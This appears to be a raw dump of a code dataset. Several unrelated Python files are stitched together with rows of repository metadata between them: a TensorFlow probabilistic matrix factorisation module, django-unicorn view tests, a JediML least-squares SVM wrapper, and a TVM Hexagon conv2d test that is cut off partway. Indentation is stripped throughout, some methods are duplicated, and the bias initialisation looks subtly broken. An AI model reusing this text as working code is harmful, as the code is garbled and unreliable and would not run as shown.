reg_H = lambda_h * tf.trace(self._H @ S_H @ tf.transpose(self._H))
reg_b = reduce_sum_det(self._br * self._br) + reduce_sum_det(self._bc * self._bc)
return non_reg_loss \
+ lambda_f * reg_F + lambda_h * reg_H \
+ lambda_b * reg_b
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._F, self._F))) \
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._H, self._H)))
def gd_fit(self):
self._F, self._H = tf.Variable(self.F), tf.Variable(self.H)
self._br, self._bc = tf.Variable(self.bias_row), tf.Variable(self.bias_col)
train_loss = self.loss(self.X)
train_r2_tf = self.tf_r2_score(self.X)
if self.use_validation():
val_r2_tf = self.tf_r2_score(self.X_val)
#optim = tf.train.GradientDescentOptimizer(self.lr)
optim = tf.train.AdamOptimizer(self.lr)
train_step = optim.minimize(train_loss)
init = tf.global_variables_initializer()
_early_stopped = False
with tf.Session() as sess:
sess.run(init)
for i in range(self.max_iter):
sess.run(train_step)
train_err, train_r2 = sess.run([train_loss, train_r2_tf])
self.train_loss_hist.append(train_err)
self.train_r2_hist.append(train_r2)
if self.use_validation():
val_r2 = sess.run(val_r2_tf)
self.val_r2_hist.append(val_r2)
if self.report_every > 1 and i % self.report_every == 0:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
if self.use_validation():
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
if np.isnan(train_err):
self.log.warn('\tquitting training early due to NaN loss')
break
if self.use_validation() and self.early_stop > 0:
if self.stop_iterating():
self.log.info("\tstopping early due to non-decreasing validation loss")
_early_stopped = True
break
if not _early_stopped:
self.log.info('\tstopping due to max-iterations reached')
# Report last iteration losses
if self.report_every > 1:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
if self.use_validation():
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
learnt_F = sess.run(self._F)
learnt_H = sess.run(self._H)
learnt_br = sess.run(self._br)
learnt_bc = sess.run(self._bc)
# Store how many iterations we ran for for convenience
self.iters_ran = len(self.train_loss_hist)
return learnt_F, learnt_H, learnt_br, learnt_bc
def stop_iterating(self):
# If number of iterations is has been less than stopping criterion
# then don't stop
if len(self.val_r2_hist) < self.early_stop:
return False
r2s = self.val_r2_hist[-self.early_stop:]
# continue if any
min_r2 = r2s[0]
should_continue = any(r2 > min_r2 for r2 in r2s[1:])
return not should_continue
def use_validation(self):
return hasattr(self, 'X_val')
def tf_r2_score(self, X):
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
FH = tf.matmul(tf.transpose(self._F), self._H) + self._br + self._bc
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
true_vals = tf.boolean_mask(_X, _mask)
imputed_vals = tf.boolean_mask(FH, _mask)
return tf_r2_score(true_vals, imputed_vals)
def training_curve(self):
return dict(train=self.train_r2_hist, val=self.val_r2_hist)
class PMF_b(BaseMatrixCompletion):
'''
PMF with bias
x = u'v + b_i + c_j
'''
def __init__(self,
rank=40,
lambda_f=0.01,
lambda_h=None,
lambda_b=0.01,
use_sigmoid=False,
max_iter=150,
lr=0.1,
report_every=-1,
verbosity=logging.INFO,
early_stop=10):
super().__init__()
self.log = get_logger(verbosity)
# Model hyperparameters
self.rank = rank
# set regularization weights to be the same if lambda_h is None
self.lambda_f = lambda_f
self.lambda_h = lambda_f if lambda_h is None else lambda_h
self.lambda_b = lambda_b
self.use_sigmoid = use_sigmoid
self.max_iter = max_iter
self.lr = lr
self.early_stop = early_stop
# Logging settings
self.report_every = report_every
self.verbosity = verbosity
self.iters_ran = -1
self.train_loss_hist = []
self.train_r2_hist = []
self.val_r2_hist = None
def fit(self, X, y=None, X_val=None):
assert y is None
self.train_mask = ~np.isnan(X)
self.M, self.N = X.shape
assert self.M > self.rank
assert self.N > self.rank
self.X = np.copy(X)
self.bias_row = np.nansum(X, axis=1, keepdims=True) / 2
self.bias_row = self.bias_row / np.nansum(np.isnan(X), axis=1, keepdims=True)
self.bias_col = np.nansum(X, axis=0, keepdims=True) / 2
self.bias_col = self.bias_col / np.nansum(np.isnan(X), axis=0, keepdims=True)
if X_val is not None:
self.check_same_shape(X_val, X)
self.check_no_shared_non_nan(X_val, X)
self.X_val = np.copy(X_val)
self.val_r2_hist = []
temp_F = np.random.randn(self.rank, self.M).astype(np.float64)
self.F = np.divide(temp_F, temp_F.max())
temp_H = np.random.randn(self.rank, self.N).astype(np.float64)
self.H = np.divide(temp_H, temp_H.max())
self.F, self.H, self.bias_row, self.bias_col = self.gd_fit()
self.X_fitted = np.dot(self.F.T, self.H) + self.bias_row + self.bias_col
if self.use_sigmoid:
self.X_fitted = expit(0.5 * self.X_fitted)
tf.reset_default_graph()
return self
def loss(self, X):
'''
return loss w.r.t masked values
'''
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
lambda_f = tf.constant(0.5 * self.lambda_f, dtype=tf.float64)
lambda_h = tf.constant(0.5 * self.lambda_h, dtype=tf.float64)
lambda_b = tf.constant(0.5 * self.lambda_b, dtype=tf.float64)
FH = tf.matmul(tf.transpose(self._F), self._H) + self._br + self._bc
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
non_reg_loss = 0.5 * tf.reduce_sum(tf.pow(tf.boolean_mask(_X, _mask)
- tf.boolean_mask(FH, _mask), 2))
reg_F = reduce_sum_det(self._F * self._F)
reg_H = reduce_sum_det(self._H * self._H)
reg_b = reduce_sum_det(self._br * self._br) + reduce_sum_det(self._bc * self._bc)
return non_reg_loss \
+ lambda_f * reg_F + lambda_h * reg_H \
+ lambda_b * reg_b
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._F, self._F))) \
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._H, self._H)))
def gd_fit(self):
self._F, self._H = tf.Variable(self.F), tf.Variable(self.H)
self._br, self._bc = tf.Variable(self.bias_row), tf.Variable(self.bias_col)
train_loss = self.loss(self.X)
train_r2_tf = self.tf_r2_score(self.X)
if self.use_validation():
val_r2_tf = self.tf_r2_score(self.X_val)
#optim = tf.train.GradientDescentOptimizer(self.lr)
optim = tf.train.AdamOptimizer(self.lr)
train_step = optim.minimize(train_loss)
init = tf.global_variables_initializer()
_early_stopped = False
with tf.Session() as sess:
sess.run(init)
for i in range(self.max_iter):
sess.run(train_step)
train_err, train_r2 = sess.run([train_loss, train_r2_tf])
self.train_loss_hist.append(train_err)
self.train_r2_hist.append(train_r2)
if self.use_validation():
val_r2 = sess.run(val_r2_tf)
self.val_r2_hist.append(val_r2)
if self.report_every > 1 and i % self.report_every == 0:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
if self.use_validation():
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
if np.isnan(train_err):
self.log.warn('\tquitting training early due to NaN loss')
break
if self.use_validation() and self.early_stop > 0:
if self.stop_iterating():
self.log.info("\tstopping early due to non-decreasing validation loss")
_early_stopped = True
break
if not _early_stopped:
self.log.info('\tstopping due to max-iterations reached')
# Report last iteration losses
if self.report_every > 1:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
if self.use_validation():
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
learnt_F = sess.run(self._F)
learnt_H = sess.run(self._H)
learnt_br = sess.run(self._br)
learnt_bc = sess.run(self._bc)
# Store how many iterations we ran for for convenience
self.iters_ran = len(self.train_loss_hist)
return learnt_F, learnt_H, learnt_br, learnt_bc
def stop_iterating(self):
# If number of iterations is has been less than stopping criterion
# then don't stop
if len(self.val_r2_hist) < self.early_stop:
return False
r2s = self.val_r2_hist[-self.early_stop:]
# continue if any
min_r2 = r2s[0]
should_continue = any(r2 > min_r2 for r2 in r2s[1:])
return not should_continue
def use_validation(self):
return hasattr(self, 'X_val')
def tf_r2_score(self, X):
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
FH = tf.matmul(tf.transpose(self._F), self._H) + self._br + self._bc
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
true_vals = tf.boolean_mask(_X, _mask)
imputed_vals = tf.boolean_mask(FH, _mask)
return tf_r2_score(true_vals, imputed_vals)
def training_curve(self):
return dict(train=self.train_r2_hist, val=self.val_r2_hist)
class PMF(BaseMatrixCompletion, MF_GradientDescentMixin):
def __init__(self,
rank=40,
lambda_f=0.01,
lambda_h=None,
use_sigmoid=True,
max_iter=150,
lr=0.1,
report_every=-1,
verbosity=logging.INFO,
early_stop=10):
super().__init__()
self.log = get_logger(verbosity)
# Model hyperparameters
self.rank = rank
# set regularization weights to be the same if lambda_h is None
self.lambda_f = lambda_f
self.lambda_h = lambda_f if lambda_h is None else lambda_h
self.use_sigmoid = use_sigmoid
self.max_iter = max_iter
self.lr = lr
self.early_stop = early_stop
# Logging settings
self.report_every = report_every
self.verbosity = verbosity
self.iters_ran = -1
self.train_loss_hist = []
self.train_r2_hist = []
self.val_r2_hist = None
def fit(self, X, y=None, X_val=None):
assert y is None
self.train_mask = ~np.isnan(X)
self.M, self.N = X.shape
assert self.M > self.rank
assert self.N > self.rank
self.X = np.copy(X)
if X_val is not None:
self.check_same_shape(X_val, X)
self.check_no_shared_non_nan(X_val, X)
self.X_val = np.copy(X_val)
self.val_r2_hist = []
temp_F = np.random.randn(self.rank, self.M).astype(np.float64)
self.F = np.divide(temp_F, temp_F.max())
temp_H = np.random.randn(self.rank, self.N).astype(np.float64)
self.H = np.divide(temp_H, temp_H.max())
self.F, self.H = self.gd_fit()
self.X_fitted = np.dot(self.F.T, self.H)
if self.use_sigmoid:
self.X_fitted = expit(0.5 * self.X_fitted)
tf.reset_default_graph()
return self
def loss(self, X):
'''
return loss w.r.t masked values
'''
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
lambda_f = tf.constant(0.5 * self.lambda_f, dtype=tf.float64)
lambda_h = tf.constant(0.5 * self.lambda_h, dtype=tf.float64)
FH = tf.matmul(tf.transpose(self._F), self._H)
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
non_reg_loss = 0.5 * tf.reduce_sum(tf.pow(tf.boolean_mask(_X, _mask)
- tf.boolean_mask(FH, _mask), 2))
reg_F = reduce_sum_det(self._F * self._F)
reg_H = reduce_sum_det(self._H * self._H)
return non_reg_loss \
+ lambda_f * reg_F + lambda_h * reg_H
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._F, self._F))) \
#+ tf.multiply(lambda_h, tf.reduce_sum(tf.multiply(self._H, self._H)))
class MCScaler(TransformerMixin):
def __init__(self, mode='std'):
_modes = ['std', '0-1']
assert (mode in _modes)
self.mode = mode
def fit(self, X, y=None):
self.min = np.nanmin(X)
self.max = np.nanmax(X)
self.mean = np.nanmean(X)
self.std = np.nanstd(X)
return self
def transform(self, X):
if self.mode == '0-1':
_X = (X - self.min) / (self.max - self.min)
else:
_X = (X - self.mean) / self.std
return _X
def inverse_transform(self, X):
if self.mode == '0-1':
_X = X * (self.max - self.min) + self.min
else:
_X = X * self.std + self.mean
return _X
### Tensorflow utilities
def reduce_sum_det(x):
v = tf.reshape(x, [1, -1])
return tf.reshape(tf.matmul(v, tf.ones_like(v), transpose_b=True), [])
def tf_r2_score(y_true, y_pred):
'''
Compute r2 score using tensorflow variables
'''
#assert(y_true.shape == y_pred.shape)
#assert(len(y_true.shape) == 1)
total_error = tf.reduce_sum(tf.square(tf.subtract(y_true, tf.reduce_mean(y_true))))
unexplained_error = tf.reduce_sum(tf.square(tf.subtract(y_true, y_pred)))
r_squared = 1 - tf.div(unexplained_error, total_error)
return r_squared
### Other useful functions
# def nrmse(X_true, X_predicted):
# rmse = np.sqrt(mean_squared_error(X_true, X_predicted))
# return rmse / np.std(X_true)
def mc_train_test_split(X, frac_hidden, check_sym=True):
N, M = X.shape
measured_upper_idx = np.array([ (i,j) for i, j in zip(*np.where(~np.isnan(X)))
if i >= j ])
n_known = len(measured_upper_idx)
shuffle = np.random.permutation(n_known)
n_hidden = int(frac_hidden * n_known)
train_upper_idx = measured_upper_idx[shuffle[n_hidden:]]
train_idx = [ (i, j) for i, j in train_upper_idx ] + \
[ (j, i) for i, j in train_upper_idx ]
val_upper_idx = measured_upper_idx[shuffle[:n_hidden]]
val_idx = [ (i, j) for i, j in val_upper_idx ] + \
[ (j, i) for i, j in val_upper_idx ]
I_train = np.zeros((M, N), dtype=bool)
I_train[tuple(np.array(train_idx).T)] = True
I_val = np.zeros((M, N), dtype=bool)
I_val[tuple(np.array(val_idx).T)] = True
X_train = np.copy(X)
X_test = np.copy(X)
X_train[~I_train] = np.nan
X_test[~I_val] = np.nan
assert np.allclose(I_val, I_val.T)
assert np.allclose(I_train, I_train.T)
if check_sym:
assert np.allclose(X, X.T, equal_nan=True)
assert np.allclose(X_train, X_train.T, equal_nan=True)
assert np.allclose(X_test, X_test.T, equal_nan = True)
return X_train, X_test
| 34.513721
| 99
| 0.565199
| 4,475
| 31,442
| 3.738547
| 0.070615
| 0.020622
| 0.013987
| 0.015541
| 0.82899
| 0.821518
| 0.806993
| 0.798625
| 0.788464
| 0.786611
| 0
| 0.019259
| 0.319604
| 31,442
| 910
| 100
| 34.551648
| 0.762773
| 0.073278
| 0
| 0.807267
| 0
| 0
| 0.044859
| 0
| 0
| 0
| 0
| 0
| 0.034755
| 1
| 0.07267
| false
| 0.00316
| 0.015798
| 0.009479
| 0.162717
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c7fd72a935145b525878c0e488761ec5187d282
| 2,947
|
py
|
Python
|
tests/views/message/test_call_method.py
|
nyradr/django-unicorn
|
48a112ee1187715c4dbb54b24cb7b4688a24ac4b
|
[
"MIT"
] | 1
|
2021-02-11T13:26:06.000Z
|
2021-02-11T13:26:06.000Z
|
tests/views/message/test_call_method.py
|
nyradr/django-unicorn
|
48a112ee1187715c4dbb54b24cb7b4688a24ac4b
|
[
"MIT"
] | null | null | null |
tests/views/message/test_call_method.py
|
nyradr/django-unicorn
|
48a112ee1187715c4dbb54b24cb7b4688a24ac4b
|
[
"MIT"
] | null | null | null |
import orjson
from django_unicorn.utils import generate_checksum
def test_message_call_method(client):
data = {}
message = {
"actionQueue": [{"payload": {"name": "test_method"}, "type": "callMethod",}],
"data": data,
"checksum": generate_checksum(orjson.dumps(data)),
"id": "FDHcbzGf",
}
response = client.post(
"/message/tests.views.fake_components.FakeComponent",
message,
content_type="application/json",
)
body = orjson.loads(response.content)
assert body["data"].get("method_count") == 1
def test_message_call_method_setter(client):
data = {}
message = {
"actionQueue": [{"payload": {"name": "method_count=2"}, "type": "callMethod",}],
"data": data,
"checksum": generate_checksum(orjson.dumps(data)),
"id": "FDHcbzGf",
}
response = client.post(
"/message/tests.views.fake_components.FakeComponent",
message,
content_type="application/json",
)
body = orjson.loads(response.content)
assert body["data"].get("method_count") == 2
def test_message_call_method_params(client):
data = {}
message = {
"actionQueue": [
{"payload": {"name": "test_method_params(3)"}, "type": "callMethod",}
],
"data": data,
"checksum": generate_checksum(orjson.dumps(data)),
"id": "FDHcbzGf",
}
response = client.post(
"/message/tests.views.fake_components.FakeComponent",
message,
content_type="application/json",
)
body = orjson.loads(response.content)
assert body["data"].get("method_count") == 3
def test_message_call_method_no_validation(client):
data = {}
message = {
"actionQueue": [
{"payload": {"name": "set_text_no_validation"}, "type": "callMethod",}
],
"data": data,
"checksum": generate_checksum(orjson.dumps(data)),
"id": "FDHcbzGf",
}
response = client.post(
"/message/tests.views.fake_components.FakeValidationComponent",
message,
content_type="application/json",
)
body = orjson.loads(response.content)
assert not body["errors"]
def test_message_call_method_validation(client):
data = {}
message = {
"actionQueue": [
{"payload": {"name": "set_text_with_validation"}, "type": "callMethod",}
],
"data": data,
"checksum": generate_checksum(orjson.dumps(data)),
"id": "FDHcbzGf",
}
response = client.post(
"/message/tests.views.fake_components.FakeValidationComponent",
message,
content_type="application/json",
)
body = orjson.loads(response.content)
assert body["errors"]
assert body["errors"]["number"]
assert body["errors"]["number"][0]["code"] == "required"
assert body["errors"]["number"][0]["message"] == "This field is required."
| 26.079646
| 88
| 0.597896
| 290
| 2,947
| 5.903448
| 0.2
| 0.040888
| 0.040888
| 0.05257
| 0.896612
| 0.79965
| 0.776869
| 0.776869
| 0.719626
| 0.654206
| 0
| 0.003136
| 0.24262
| 2,947
| 112
| 89
| 26.3125
| 0.763889
| 0
| 0
| 0.651163
| 1
| 0
| 0.295215
| 0.114354
| 0
| 0
| 0
| 0
| 0.093023
| 1
| 0.05814
| false
| 0
| 0.023256
| 0
| 0.081395
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
92dc9d6e82179308dffceef22a7e6a4c97dbe701
| 3,699
|
py
|
Python
|
build/lib/JediML/LeastSquaresSVM.py
|
pangjac/JediMLSuite
|
7dd901b17d01d7459f7ec872dd770b5e3b0df93f
|
[
"MIT"
] | null | null | null |
build/lib/JediML/LeastSquaresSVM.py
|
pangjac/JediMLSuite
|
7dd901b17d01d7459f7ec872dd770b5e3b0df93f
|
[
"MIT"
] | null | null | null |
build/lib/JediML/LeastSquaresSVM.py
|
pangjac/JediMLSuite
|
7dd901b17d01d7459f7ec872dd770b5e3b0df93f
|
[
"MIT"
] | 1
|
2020-10-25T08:11:47.000Z
|
2020-10-25T08:11:47.000Z
|
# encoding=utf8
import JediML.KernelRidgeRegression as kernel_ridge_regression
class BinaryClassifier(kernel_ridge_regression.BinaryClassifier):
def __init__(self):
"""init"""
self.status = 'empty'
self.train_X = []
self.train_Y = []
self.W = []
self.data_num = 0
self.data_demension = 0
self.test_X = []
self.test_Y = []
self.feature_transform_mode = ''
self.feature_transform_degree = 1
self.lambda_p = 0.0001
self.svm_kernel = 'soft_gaussian_kernel'
self.zeta = 0
self.gamma = 1
self.Q = 1
self.C = 0.1
self.beta = []
def load_train_data(self, input_data_file=''):
return super(BinaryClassifier, self).load_train_data(input_data_file)
def load_test_data(self, input_data_file=''):
return super(BinaryClassifier, self).load_test_data(input_data_file)
def set_param(self, lambda_p=0.0001, gamma=1, C=0.1):
return super(BinaryClassifier, self).set_param(lambda_p, gamma, C)
def init_W(self):
return super(BinaryClassifier, self).init_W()
def score_function(self, x, W):
return super(BinaryClassifier, self).score_function(x, W)
def error_function(self, y_prediction, y_truth):
return super(BinaryClassifier, self).error_function(y_prediction, y_truth)
def calculate_avg_error(self, X, Y, W):
return super(BinaryClassifier, self).calculate_avg_error(X, Y, W)
def calculate_test_data_avg_error(self):
return super(BinaryClassifier, self).calculate_test_data_avg_error()
def train(self):
return super(BinaryClassifier, self).train()
def prediction(self, input_data='', mode='test_data'):
return super(BinaryClassifier, self).prediction(input_data, mode)
class MultiClassifier(kernel_ridge_regression.MultiClassifier):
def __init__(self):
"""init"""
self.status = 'empty'
self.train_X = []
self.train_Y = []
self.W = []
self.data_num = 0
self.data_demension = 0
self.test_X = []
self.test_Y = []
self.feature_transform_mode = ''
self.feature_transform_degree = 1
self.lambda_p = 0.0001
self.svm_kernel = 'soft_gaussian_kernel'
self.zeta = 0
self.gamma = 1
self.Q = 1
self.C = 0.1
self.beta = []
self.class_list = []
self.classifier_list = {}
self.decomposition = 'ovo'
def load_train_data(self, input_data_file=''):
return super(MultiClassifier, self).load_train_data(input_data_file)
def load_test_data(self, input_data_file=''):
return super(MultiClassifier, self).load_test_data(input_data_file)
def set_param(self, lambda_p=0.0001, gamma=1, C=0.1):
return super(MultiClassifier, self).set_param(lambda_p, gamma, C)
def init_W(self):
return super(MultiClassifier, self).init_W()
def score_function(self, x, W):
return super(MultiClassifier, self).score_function(x, W)
def error_function(self, y_prediction, y_truth):
return super(MultiClassifier, self).error_function(y_prediction, y_truth)
def calculate_avg_error(self, X, Y, W):
return super(MultiClassifier, self).calculate_avg_error(X, Y, W)
def calculate_test_data_avg_error(self):
return super(MultiClassifier, self).calculate_test_data_avg_error()
def train(self):
return super(MultiClassifier, self).train()
def prediction(self, input_data='', mode='test_data'):
return super(MultiClassifier, self).prediction(input_data, mode)
| 26.421429
| 82
| 0.651798
| 476
| 3,699
| 4.783613
| 0.12605
| 0.096618
| 0.118577
| 0.136144
| 0.856829
| 0.765042
| 0.765042
| 0.765042
| 0.765042
| 0.765042
| 0
| 0.01527
| 0.238713
| 3,699
| 139
| 83
| 26.611511
| 0.793324
| 0.006488
| 0
| 0.682927
| 0
| 0
| 0.019378
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.268293
| false
| 0
| 0.012195
| 0.243902
| 0.54878
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
1304d341eda24afe1b74477bf3f45111bf5d3b51
| 21,157
|
py
|
Python
|
tests/python/contrib/test_hexagon/test_conv2d_blocked.py
|
sergey-grovety/tvm
|
edda830af0bb50edf03477882f9dee4888992dad
|
[
"Apache-2.0"
] | null | null | null |
tests/python/contrib/test_hexagon/test_conv2d_blocked.py
|
sergey-grovety/tvm
|
edda830af0bb50edf03477882f9dee4888992dad
|
[
"Apache-2.0"
] | null | null | null |
tests/python/contrib/test_hexagon/test_conv2d_blocked.py
|
sergey-grovety/tvm
|
edda830af0bb50edf03477882f9dee4888992dad
|
[
"Apache-2.0"
] | 1
|
2021-08-03T00:20:41.000Z
|
2021-08-03T00:20:41.000Z
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import sys
import tvm
from tvm import te
from tvm import topi
from tvm.topi import testing
from .infrastructure import (
ceildiv,
build_and_run,
get_block_shape,
get_conv2d_nhwc_shape,
get_packed_filter_layout,
get_packed_activation_layout,
)
import numpy as np
import pytest
def conv2d_logical(
shape_nhwc,
shape_oihw,
kernel_size,
stride,
padding,
dtype,
storage_scope="global",
):
"""
Conv2d TE wherein both input activation and filter tensors
are defined with their logical NHWC/OIHW shapes, respectively.
The packed physical layout for the activation and filter are:
Activation: nhwc8h8w32c
Filter: oihw8i32o4i
"""
assert kernel_size == tuple(shape_oihw[2:])
block_shape = get_block_shape()
block_H, block_W, block_C = block_shape
shape = get_packed_activation_layout(shape_nhwc, block_shape)
logical_output_shape = get_conv2d_nhwc_shape(
shape_nhwc, kernel_size, stride, padding, [1, 1], shape_oihw[0]
)
output_shape = get_packed_activation_layout(logical_output_shape, block_shape)
N, H, W, C = shape_nhwc
X = te.placeholder(shape_nhwc, dtype=dtype)
# Combination of padding required by conv2d operator and padding to evenly divisible
# number of blocks. Note that this padding should be inlined in the schedule so
# as to avoid input copying.
pad_h = (block_H - ((H + padding[1]) % block_H)) % block_H
pad_w = (block_W - ((W + padding[3]) % block_W)) % block_W
X_pad = topi.nn.pad(X, [0, padding[0], padding[2], 0], [0, pad_h, pad_w, 0], pad_value=0)
# Calculate packed layout
X_packed = te.compute(
shape,
lambda n, ho, wo, co, hi, wi, ci: X_pad[
n, ho * block_H + hi, wo * block_W + wi, co * block_C + ci
],
)
# Filter shape using KCRS (OIHW) notation
K, C, R, S = shape_oihw
filter_Ki, filter_Ci, filter_Cii = 32, 32, 4
shape_filter = get_packed_filter_layout(K, C, R, S)
filt = te.placeholder(shape_oihw, dtype=dtype)
# Channel padding to multiples of 32
pad_c = (filter_Ci - (C % filter_Ci)) % filter_Ci
pad_k = (filter_Ki - (K % filter_Ki)) % filter_Ki
filt_pad = topi.nn.pad(
filt, [0, 0, 0, 0], [pad_k, pad_c, R, S], pad_value=0, name="padded_filter"
)
filt_packed = te.compute(
shape_filter,
lambda ko, co, r, s, cio, ki, cii: filt_pad[
ko * filter_Ki + ki, co * filter_Ci + cio * filter_Cii + cii, r, s
],
name="packed_filter",
)
rh = te.reduce_axis((0, kernel_size[0]), name="rh")
rw = te.reduce_axis((0, kernel_size[1]), name="rw")
rc = te.reduce_axis((0, C), name="rc")
def compute(n, ho, wo, ko, hi, wi, ki):
# Construct blockized strided conv2d height index
h = ho * block_H + hi
h_contig = h * stride[0] + rh
h_block_id = h_contig // block_H
h_block_offset = h_contig % block_H
# Construct blockized strided conv2d width index
w = wo * block_W + wi
w_contig = w * stride[1] + rw
w_block_id = w_contig // block_W
w_block_offset = w_contig % block_W
# Construct blockized conv2d channel index
c_block_id = rc // block_C
c_block_offset = rc % block_C
# Construct flat filter input channel indices
rco = rc // filter_Ci
rcio = (rc % filter_Ci) // filter_Cii
rcii = rc % filter_Cii
return te.sum(
X_packed[
n,
h_block_id,
w_block_id,
c_block_id,
h_block_offset,
w_block_offset,
c_block_offset,
]
* filt_packed[ko, rco, rh, rw, rcio, ki, rcii],
axis=[rh, rw, rc],
)
Y = te.compute(output_shape, compute)
s = te.create_schedule(Y.op)
# Ensure the padding and array packing is performed inline
s[X_pad].compute_inline()
s[X_packed].compute_inline()
s[filt_pad].compute_inline()
s[filt_packed].compute_inline()
binds = {}
if storage_scope and storage_scope != "global":
with tvm.transform.PassContext():
Xb = tvm.tir.decl_buffer(shape, name="Xb", dtype=dtype, scope=storage_scope)
Yb = tvm.tir.decl_buffer(output_shape, name="Yb", dtype=dtype, scope=storage_scope)
binds = {X: Xb, Y: Yb}
return (s, [X, filt, Y], binds)
def conv2d_packed_filter(
shape_nhwc,
shape_oihw8i32o4i,
kernel_size,
stride,
padding,
dtype,
k_split_factor,
h_split_factor,
storage_scope="global",
):
"""
Conv2d TE wherein the input activation is defined by its
logical NHWC shape, but the filter is provided in the
packed layout oihw8i32o4i. The physical packed layout used
for the activation is: nhwc8h8w32c
"""
assert kernel_size == tuple(shape_oihw8i32o4i[2:4])
block_shape = get_block_shape()
block_H, block_W, block_C = block_shape
shape = get_packed_activation_layout(shape_nhwc, block_shape)
logical_output_shape = get_conv2d_nhwc_shape(
shape_nhwc,
kernel_size,
stride,
padding,
[1, 1],
shape_oihw8i32o4i[0] * shape_oihw8i32o4i[5],
)
output_shape = get_packed_activation_layout(logical_output_shape, block_shape)
N, H, W, C = shape_nhwc
X = te.placeholder(shape_nhwc, dtype=dtype)
# Combination of padding required by conv2d operator and padding to evenly divisible
# number of blocks. Note that this padding should be inlined in the schedule so
# as to avoid input copying.
pad_h = (block_H - ((H + padding[1]) % block_H)) % block_H
pad_w = (block_W - ((W + padding[3]) % block_W)) % block_W
X_pad = topi.nn.pad(X, [0, padding[0], padding[2], 0], [0, pad_h, pad_w, 0], pad_value=0)
# Calculate packed layout
packed_shape = get_packed_activation_layout(X_pad.shape, block_shape)
X_packed = te.compute(
packed_shape,
lambda n, ho, wo, co, hi, wi, ci: X_pad[
n, ho * block_H + hi, wo * block_W + wi, co * block_C + ci
],
)
# Filter shape using KCRS (OIHW) notation
filter_Ki, filter_Ci, filter_Cii = 32, 32, 4
assert shape_oihw8i32o4i[-1] == filter_Cii
assert shape_oihw8i32o4i[-2] == filter_Ki
assert shape_oihw8i32o4i[-3] == filter_Ci // filter_Cii
filt_packed = te.placeholder(shape_oihw8i32o4i, dtype=dtype)
rh = te.reduce_axis((0, kernel_size[0]), name="rh")
rw = te.reduce_axis((0, kernel_size[1]), name="rw")
rc = te.reduce_axis((0, C), name="rc")
def compute(n, ho, wo, ko, hi, wi, ki):
# Construct blockized strided conv2d height index
h = ho * block_H + hi
h_contig = h * stride[0] + rh
h_block_id = h_contig // block_H
h_block_offset = h_contig % block_H
# Construct blockized strided conv2d width index
w = wo * block_W + wi
w_contig = w * stride[1] + rw
w_block_id = w_contig // block_W
w_block_offset = w_contig % block_W
# Construct blockized conv2d channel index
c_block_id = rc // block_C
c_block_offset = rc % block_C
# Construct flat filter input channel indices
rco = rc // filter_Ci
rcio = (rc % filter_Ci) // filter_Cii
rcii = rc % filter_Cii
return te.sum(
X_packed[
n,
h_block_id,
w_block_id,
c_block_id,
h_block_offset,
w_block_offset,
c_block_offset,
]
* filt_packed[ko, rco, rh, rw, rcio, ki, rcii],
axis=[rh, rw, rc],
)
Y = te.compute(output_shape, compute)
s = te.create_schedule(Y.op)
# Ensure the padding and array packing is performed inline
s[X_pad].compute_inline()
s[X_packed].compute_inline()
# cache read for the input / activation (X)
Xl = s.cache_read(X_packed, storage_scope, [Y])
